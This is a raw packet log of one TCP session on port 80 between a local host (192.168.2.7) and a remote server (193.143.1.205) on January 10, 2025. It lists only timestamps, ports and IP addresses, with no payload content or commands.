Jan 10, 2025 23:55:39.703886986 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.704504013 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.704519033 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.704533100 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.704544067 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.704556942 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.704559088 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.704607964 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.729002953 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.729021072 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.729055882 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.765135050 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.765156031 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.765223026 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.797974110 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.797988892 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.798002005 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.798015118 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.798027992 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.798041105 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.798089981 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.820863962 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.820883989 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.820909977 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.820923090 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.820933104 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.820950985 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.820961952 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.820966005 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.820976019 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.820992947 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.821003914 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.821019888 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.821083069 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.821156025 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.821170092 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.821196079 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.821198940 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.821213007 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.821223021 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.821253061 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.821393013 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.821438074 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.821450949 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.821465969 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.821477890 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.821489096 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.821505070 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.821513891 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.821520090 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.821661949 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.821820974 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.821871042 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.821882010 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.821894884 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.821907997 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.821928024 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.821957111 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.821969032 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.821980000 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.821993113 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.822002888 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.822012901 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.822025061 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.822031021 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.822046995 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.822051048 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.822062969 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.822074890 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.822097063 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.822117090 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.822926998 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.822940111 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.822961092 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.822973967 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.822978020 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.822987080 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.823007107 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.823008060 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.823045969 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.823049068 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.823060989 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.823072910 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.823085070 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.823096991 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.823102951 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.823107958 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.823131084 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.823134899 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.823152065 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.823844910 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.823858023 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.823869944 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.823883057 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.823895931 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.823901892 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.823914051 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.823941946 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.823950052 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.823954105 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.823966980 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.823978901 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.823992968 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.823995113 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.824007988 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.824016094 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.824019909 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.824039936 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.824064970 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.824686050 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.824800968 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.824815035 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.824827909 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.824848890 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.824848890 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.824861050 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.824872971 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.824872971 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.824886084 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.824897051 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.824919939 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.824923992 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.824939013 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.824950933 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.824961901 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.824975967 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.825007915 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.826843023 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.831481934 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.850178003 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.850199938 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.850213051 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.850224972 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.850238085 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.850264072 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.850295067 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.883915901 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.883944035 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.883955002 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.883969069 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.883981943 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.883985043 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.883995056 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.884021044 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.884059906 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.884079933 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.884092093 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.884104967 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.884134054 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.884141922 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.884145021 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.884156942 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.884196043 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.906932116 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.906991959 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.907002926 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.907016039 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.907027006 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.907047987 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.907099009 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.917922020 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.917934895 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.917958975 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.917973995 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.917982101 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.917987108 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.917999029 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.918011904 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.918018103 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.918035984 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.918059111 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.918065071 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.918078899 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.918091059 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.918114901 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.940946102 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.940964937 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.940979004 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.940989017 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.940998077 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.941001892 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.941028118 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.941054106 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.941196918 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.941247940 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.941258907 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.941283941 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.941858053 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.941869974 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.941881895 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.941894054 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.941907883 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.941912889 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.941925049 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.941926003 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.941936970 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.941942930 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.941955090 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.941982031 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.942008972 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.942019939 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.942032099 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.942044973 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.942051888 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.942090034 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.942152977 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.942163944 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.942183018 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.942193985 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.942200899 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.942207098 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.942217112 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.942245007 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.942264080 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.942275047 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.942286015 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.942296982 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.942308903 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.942321062 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.942337036 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.942570925 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.942590952 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.942601919 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.942626953 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.942647934 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.942651033 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.942660093 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.942672968 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.942698956 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.942706108 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.942712069 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.942723989 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.942744017 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.942744970 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.942756891 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.942765951 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.942768097 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.942780018 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.942800045 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.942817926 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.943167925 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.943185091 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.943213940 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.943218946 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.943224907 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.943238020 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.943249941 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.943259001 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.943268061 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.943279028 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.943281889 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.943284988 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.943289995 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.943301916 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.943306923 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.943326950 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.943337917 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.943372965 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.943394899 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.945846081 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.945874929 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.945887089 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.945920944 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.946007967 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.946017981 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.946028948 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.946039915 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.946052074 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.946062088 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.946067095 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.946074009 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.946086884 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.946099043 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.946106911 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.946110964 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.946122885 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.946135998 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.946149111 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.946156979 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.946161032 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.946172953 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.946183920 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.946192980 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.946197033 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.946207047 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.946213961 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.946223974 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.946234941 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.946244955 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.946248055 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.946264029 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.946278095 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.946289062 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.946289062 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.946377039 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.946871042 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.946923018 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.946933985 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.946944952 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.946969986 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.946991920 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.951389074 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.960522890 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.970220089 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.970232964 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.970244884 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.970257044 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.970274925 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.970285892 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.970298052 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.970316887 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.970367908 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.994560003 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.994571924 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.994582891 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.994595051 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.994606972 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.994616985 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.994688988 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.994700909 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.994713068 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.994724989 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.994738102 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.994755983 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.994771957 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.994858027 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.994951010 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.994963884 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.994976044 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.994987965 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.994999886 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.995002031 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.995032072 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.996711016 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.996742010 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.004177094 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.004195929 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.004206896 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.004226923 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.004240036 CET	80	49700	193.143.1.205	192.168.2.7
